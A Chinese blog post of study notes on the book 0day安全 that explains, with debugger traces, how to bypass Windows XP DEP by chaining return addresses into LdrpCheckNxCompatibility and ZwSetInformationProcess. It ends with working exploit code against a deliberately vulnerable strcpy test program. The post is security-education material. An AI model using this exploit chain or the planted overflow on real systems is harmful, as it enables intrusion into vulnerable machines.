在前一篇<Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess>一节注记(上) 的末尾部分,我们遇到访问无效内存的异常,本篇将讨论如何解决这个异常并关闭DEP保护。我们已经知道引起异常的原因是向无效地址[ebp-4](0x9090908C)写入数据。要解决这个异常可能有2种思路:1.让[ebp-4]指向可读写的地址;2.修改函数LdrpCheckNxCompatibility的实现,当然,这种方法不是本篇讨论的内容,是否具有可行性也没有验证过,所以,还是来讨论方式1。
出错时,ebp指向0x90909090,esp指向0x12ff80,当然esp指向的内存地址是可读写的,如果将esp的值赋给ebp,然后再执行mov ss:[ebp-4],esi就不会出错了。这样修改ebp最直白的方式应该是mov ebp,esp;ret;不知道是进程空间里搜不到这样的指令流还是别的原因,(想想也是mov ebp,esp一般都出现在函数入口出用于形成栈帧,才形成栈帧就执行retn感觉在浪费时间...)作者用的是一种替代方法:
push esp
pop ebp
retn
这个是个很神奇的指令序列:
1.经过push esp;pop ebp的确达到了修改ebp寄存器的目的;2在关闭DEP保护函数 LdrpCheckNxCompatibility的返回部分有这么一段指令流:
ntdll!LdrpCheckNXCompatibility+0x5c:
7c93cd6d 5e pop esi
7c93cd6e c9 leave ;leave指令等效于mov esp,ebp pop ebp
7c93cd6f c20400 ret 4 ;
一般在函数的入口处会有一个Entry指令用于建立函数的栈帧,并在退出函数时调用leave恢复函数调用前的栈。由于,我们是以不正常的方式跳过Entry指令并进入LdrpCheckNxCompatibility函数,当离开LdrpCheckNxCompatibility前,执行leave指令可能会导致用错误的ebp寄存器的值恢复esp,最终影响整个溢出过程中的堆栈布局。为了消除leave指令带来的影响,我们需要手工建立栈帧。这就有了上面的指令流----在进入LdrpCheckNxCompatibility函数之前执行push esp;pop ebp序列,相当于执行了一次Entry指令,这样关闭DEP后esp能保持进入前的原样,就不会破坏堆栈布局;3.在2的基础上,由于esp寄存器的值具有进出函数前后的一致性,因此不管在LdrpCheckNxCompatibility函数怎么操作堆栈,最终退出该函数时,esp还指向shellcode,这样的好处是便于定位(虽然shellcode的内容可能在关闭DEP的过程中被频繁的出入栈操作冲刷掉了)。我猜想作者是鉴于这样思路,所以选择使用这段指令流。
现在要做的就是寻找这样的指令流,这简单,使用OD的OllyFindAddr插件就能实现这个功能:我挑选0x77ecdc68处的指令流。
编译后再次加载调试,可以看到ebp和esp的值一致,当执行完ret指令进入关闭DEP保护的流程时esp==0x12FF88:
下图为调整ebp准备进入LdrpCheckNxCompatibility函数:
下图为进入LdrpCheckNxCompatibility函数:
再来验证一下执行mov [ebp-4],esi指令时是否会引发异常,嗯,谢天谢地,终于让我饶过了这个是非之地:
大家还记得前一篇我整理的关闭DEP保护的代码流吗?最重要的是要饶过代码流中标识3.处。当执行完上面mov ss:[ebp-4],esi指令不就后,就会执行到标识3处:
3.
7c93cd2f 837dfc00 cmp dword ptr [ebp-4],0 ;[ebp-4]中的值来源于1.中地址0x7c93cd26和0x7c93cd28的push/pop语句
7c93cd33 0f85f89a0100 jne ntdll!LdrpCheckNXCompatibility+0x4d (7c956831) ;跳到4处执行
由于此时[ebp-4]的值为2,因此将跳转到LdrpCheckNxCompatibility函数关闭DEP保护的代码流标识4处执行:
图为执行cmp ss:[ebp-4],00指令时寄存器和内存值,此时[ebp-4]==0x02,并将跳转到0x7c956831处运行:
0x7c956831处的几条指令翻译成c语言其实就是ZwSetInformationProcess(-1,0x22,&[ebp-4],04);这条语句看似风平浪静,其实暗流涌动,请大家注意执行call ZwSetInformationProcess前后堆栈的变化:
call之前的截图:
call之后的截图:
大家仔细观察从0x12FF78-0x12FF88这片栈内存值的变化。原本这片内存中存放的是精心构造的shellcode,很不幸,由于调用ZwSetInformationProcess函数shellcode的内容被覆盖的面目全非。这影响不大,最多shellcode执行不了了,但是当LdrpCheckNxCompatibility函数即将结束,执行leave;ret时,程序将返回到一个不可控的地址。让我们来手动模拟一下这个过程:
首先是执行leave指令,等效于mov esp,ebp;pop ebp;执行过后esp=0x12FF84,ebp=0x12FF7c;
紧接着准备执行retn指令,eip去[esp]中取返回地址,看看[esp]中存放了什么:[esp]=[0x12ff84]=0x04,shit,eip将返回到0x04去执行,想想都害怕。
下图为执行leave指令后寄存器/堆栈的状态:
下图为执行retn后Od的状态,指令窗口都黑线了,eip指向0x04,遇到这样的结果真倒霉:
前面已经说过直接导致这个结果的原因是堆栈中的shellcode被覆盖,再深层次的挖掘一下,是因为栈顶esp的值离这关键部分的shellcode(关闭DEP保护的shellcode)太近。解决方法是在进入LdrpCheckNxCompatibility函数前先抬高esp的值,让它离这部分的shellcode远一点。书中提到的方法是在进程空间中寻找retN(N==0x28)指令。但是,od的OllyFindAddr插件没有直接提供这样的功能,它只能寻找pop+retN这类指令。作者建议是Number of pop对话框中填0,Number of ret 填0x28,这么建议是有讲究的:
1.以Number of pop=1;Number of retN=0x28为例,ollyFindAddr找到的调整esp的指令流多数长这样:
如果选取pop ebp+retn 28指令流会引起新的bug----调用ZwSetInformationProcess时传入的第三个参数是[ebp-4]的地址:
ntdll!LdrpCheckNXCompatibility+0x4d:
7c956831 6a04 push 4
7c956833 8d45fc lea eax,[ebp-4] <---取[ebp-4]的地址
7c956836 50 push eax <---地址入栈
7c956837 6a22 push 22h
7c956839 6aff push 0FFFFFFFFh
7c95683b e84074fdff call ntdll!ZwSetInformationProcess (7c92dc80)
7c956840 e92865feff jmp ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d)
一旦执行了pop ebp,势必影响lea eax, [ebp-4]得结果,所以作者提到抬高esp的过程中不能修改ebp;
2.既然不能修改ebp的地址,即不能执行pop ebp这样的指令,那我选择pop eax;retN这类指令流总可以吧。的确是可以,不过pop eax会影响esp的值,不方便计算shellcode的布局。鉴于上述两点原因,作者在对话框中填入了Number of pop=0;Number of RetN=28。
重新生成shellcode,将找到用于调整esp指针的retN地址插入到push esp;pop ebp;retn 0x4的地址之后,两者之间必选相隔4B而不是紧挨着,这是为什么?大家来看一下此时堆栈分布情况:esp指向0x12FF80,执行完retn 0x4之后,除了ret本身会让esp=esp+4 后面的 0x04又会让esp=esp+4.最终的效果就是修改esp为0x12FF88。CPU执行完retn 0x04之后,将执行retn 0x28,返回地址从栈顶esp寄存器中取出,原本我们指望esp取出的返回地址是0x7c974a19(就是进入关闭DEP保护的流程)。事与愿违的事发生了,esp将从栈顶取出的值为0x90909090,CPU返回到这个地址执行又会异常。所以我们先要在地址0x12FF84处预留4B的空档,然后在堆栈0x12FF88处存放值0x7C93CD24,好在执行retn 0x28时返回到LdrpCheckNxCompatibility函数中
编译od加载,让我们把程序停在执行retn 28之前,看下此时堆栈的分布:
此时esp寄存器值为0x12FF80,执行retn 04后eip将指向0x7c974a19(存放指令retn 0x28----用于抬高esp的值),同时esp被修改为0x12FF88:
再次执行retn 0x28指令,esp将被修改为0x12FF88+0x04+0x28=0x12FFb4;eip进入LdrpCheckNxCompatibility函数,进行关闭DEP的流程:
等到关闭DEP流程结束执行leave指令时,esp寄存器会恢复到之前修改EBP寄存器的值时的状态。下一次执行retn 4时Eip会从栈顶0x12FF84取返回地址,还记得这指向前面修改ebp值和抬高esp值时留下的空档?忘了可以回过去看看前面的段落。
一般而言,这个空档会用进程空间中jmp esp指令的地址填补,使得关闭DEP后,shellcode进入堆栈继续执行。注意LdrpCheckNxCompatibility函数末尾的retn 4指令使得esp指向0x12FF8c,因此shellcode最终会从此处开始执行:
下图是我搜索到的jmp esp的地址,将这个地址填补前面提到的空档。
当jmp esp执行后,eip从堆栈中取指令运行,Ret2LibC成功。
最后贴上我的代码:
#include <windows.h>
/* shellcode内容注释
\x52\xe2\x92\x7c->mov al,0x01;ret;
\x85\x8b\x1d\x5d->push esp;pop ebp;retn 04;
\x19\x4a\x97\x7c->retn 0x28
\x13\x98\xd1\x7d->jmp esp
\x24\xcd\x93\x7c->关闭DEP
*/
char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x52\xe2\x92\x7c"\
"\x85\x8b\x1d\x5d"\
"\x19\x4a\x97\x7c"\
"\x13\x98\xd1\x7d"\
"\x24\xcd\x93\x7c"\
"\x90\x90\x90\x90"};
int test()
{
char arry[4] = {0};
strcpy(arry,shellcode);
return 0;
}
int main()
{
HMODULE hMod = LoadLibrary("shell32.dll");
test();
}